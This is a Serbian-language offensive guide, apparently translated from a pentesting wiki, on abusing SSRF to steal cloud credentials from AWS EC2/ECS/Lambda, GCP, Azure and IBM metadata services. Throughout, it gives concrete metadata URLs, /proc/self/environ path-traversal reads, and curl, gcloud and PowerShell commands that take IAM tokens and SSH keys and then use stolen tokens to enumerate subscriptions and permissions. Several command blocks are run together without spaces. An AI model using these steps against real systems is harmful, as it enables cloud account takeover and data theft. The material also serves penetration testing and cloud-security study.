Metapodaci endpoint može se pristupiti iz bilo koje EC2 mašine i nudi zanimljive informacije o njoj. Dostupan je na url-u: http://169.254.169.254 (informacije o metapodacima ovde).
Postoje 2 verzije metapodatkovnog endpoint-a. Prva omogućava pristup endpoint-u putem GET zahteva (tako da svaki SSRF može to iskoristiti). Za verziju 2, IMDSv2, potrebno je zatražiti token slanjem PUT zahteva sa HTTP header-om i zatim koristiti taj token za pristup metapodacima sa drugim HTTP header-om (tako da je komplikovanije zloupotrebiti sa SSRF).
Napomena da ako EC2 instanca primenjuje IMDSv2, prema dokumentaciji, odgovor PUT zahteva će imati hop limit od 1, što onemogućava pristup EC2 metapodacima iz kontejnera unutar EC2 instance.
Pored toga, IMDSv2 će takođe blokirati zahteve za dobijanje tokena koji uključuju X-Forwarded-For header. Ovo je da se spreči da pogrešno konfigurisani obrnuti proxy-evi mogu da mu pristupe.
Možete pronaći informacije o metapodacima u dokumentaciji. U sledećem skriptu se dobijaju neke zanimljive informacije iz njega:
Obratite pažnju na aws_session_token, ovo je neophodno za rad profila.
PACU se može koristiti sa otkrivenim akreditivima da saznate svoje privilegije i pokušate da ih eskalirate.
SSRF u AWS ECS (Container Service) akreditivi
ECS je logička grupa EC2 instanci na kojima možete pokrenuti aplikaciju bez potrebe da skalirate sopstvenu infrastrukturu za upravljanje klasterom, jer ECS to upravlja umesto vas. Ako uspete da kompromitujete uslugu koja se pokreće u ECS, metapodaci se menjaju.
Ako pristupite http://169.254.170.2/v2/credentials/<GUID> pronaći ćete akreditive ECS mašine. Ali prvo morate da pronađete <GUID>. Da biste pronašli <GUID>, potrebno je da pročitate environ promenljivu AWS_CONTAINER_CREDENTIALS_RELATIVE_URI unutar mašine.
Možete biti u mogućnosti da je pročitate koristeći Path Traversal na file:///proc/self/environ
Pomenuta http adresa bi trebala da vam pruži AccessKey, SecretKey i token.
Napomena da u neki slučajevima ćete moći da pristupite EC2 metapodacima instance iz kontejnera (proverite IMDSv2 TTL ograničenja pomenuta ranije). U ovim scenarijima iz kontejnera možete pristupiti i IAM ulozi kontejnera i IAM ulozi EC2.
SSRF za AWS Lambda
U ovom slučaju akreditivi se čuvaju u env varijablama. Dakle, da biste im pristupili, potrebno je da pristupite nečemu poput file:///proc/self/environ.
Imezanimljivih env varijabli je:
AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID
Pored toga, pored IAM akreditiva, Lambda funkcije takođe imaju podatke o događaju koji se prosleđuju funkciji kada se pokrene. Ovi podaci su dostupni funkciji putem runtime interfejsa i mogu sadržati osetljiveinformacije (kao unutar stageVariables). Za razliku od IAM akreditiva, ovi podaci su dostupni preko standardnog SSRF na http://localhost:9001/2018-06-01/runtime/invocation/next.
Napomena da su lambda akreditivi unutar env varijabli. Dakle, ako stack trace lambda koda ispisuje env varijable, moguće je izvršiti exfiltraciju izazivajući grešku u aplikaciji.
Da biste koristili exfiltrirani token servisnog naloga možete jednostavno uraditi:
# Via env varsexport CLOUDSDK_AUTH_ACCESS_TOKEN=<token>gcloudprojectslist# Via setupecho"<token>">/some/path/to/tokengcloudconfigsetauth/access_token_file/some/path/to/tokengcloudprojectslistgcloudconfigunsetauth/access_token_file
# Check for those env vars to know if you are in an Azure appecho $IDENTITY_HEADERecho $IDENTITY_ENDPOINT# You should also be able to find the folder:ls/opt/microsoft#and the filels/opt/microsoft/msodbcsql17# Get management tokencurl"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# Get graph tokencurl"$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# API# Get SubscriptionsURL="https://management.azure.com/subscriptions?api-version=2020-01-01"curl-H"Authorization: $TOKEN""$URL"# Get current permission on resources in the subscriptionURL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"curl-H"Authorization: $TOKEN""$URL"# Get permissions in a VMURL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl-H"Authorization: $TOKEN""$URL"
# API request in powershell to management endpoint$Token ='eyJ0eX..'$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# API request to graph endpoint (get enterprise applications)$Token ='eyJ0eX..'$URI ='https://graph.microsoft.com/v1.0/applications'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# Using AzureAD Powershell module witho both management and graph tokens$token ='eyJ0e..'$graphaccesstoken ='eyJ0eX..'Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc
# Try to get current perms over resourcesGet-AzResource## The following error means that the user doesn't have permissions over any resourceGet-AzResource : 'this.Client.SubscriptionId' cannot be null.At line:1 char:1+Get-AzResource+ ~~~~~~~~~~~~~~+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException+ FullyQualifiedErrorId :Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
IBM Cloud
Imajte na umu da u IBM-u po defaultu metapodaci nisu omogućeni, tako da je moguće da nećete moći da im pristupite čak i ako ste unutar IBM cloud VM-a
export instance_identity_token=`curl-s-XPUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\-H "Metadata-Flavor: ibm"\-H "Accept: application/json"\-d '{"expires_in": 3600}' |jq-r '(.access_token)'`# Get instance detailscurl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
# Get SSH keys infocurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
# Get SSH keys fingerprints & user datacurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
# Get placement groupscurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
# Get IAM credentialscurl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
Dokumentacija za različite platforme o uslugama metapodataka je navedena u nastavku, ističući metode putem kojih se može pristupiti konfiguracionim i runtime informacijama za instance. Svaka platforma nudi jedinstvene krajnje tačke za pristup svojim uslugama metapodataka.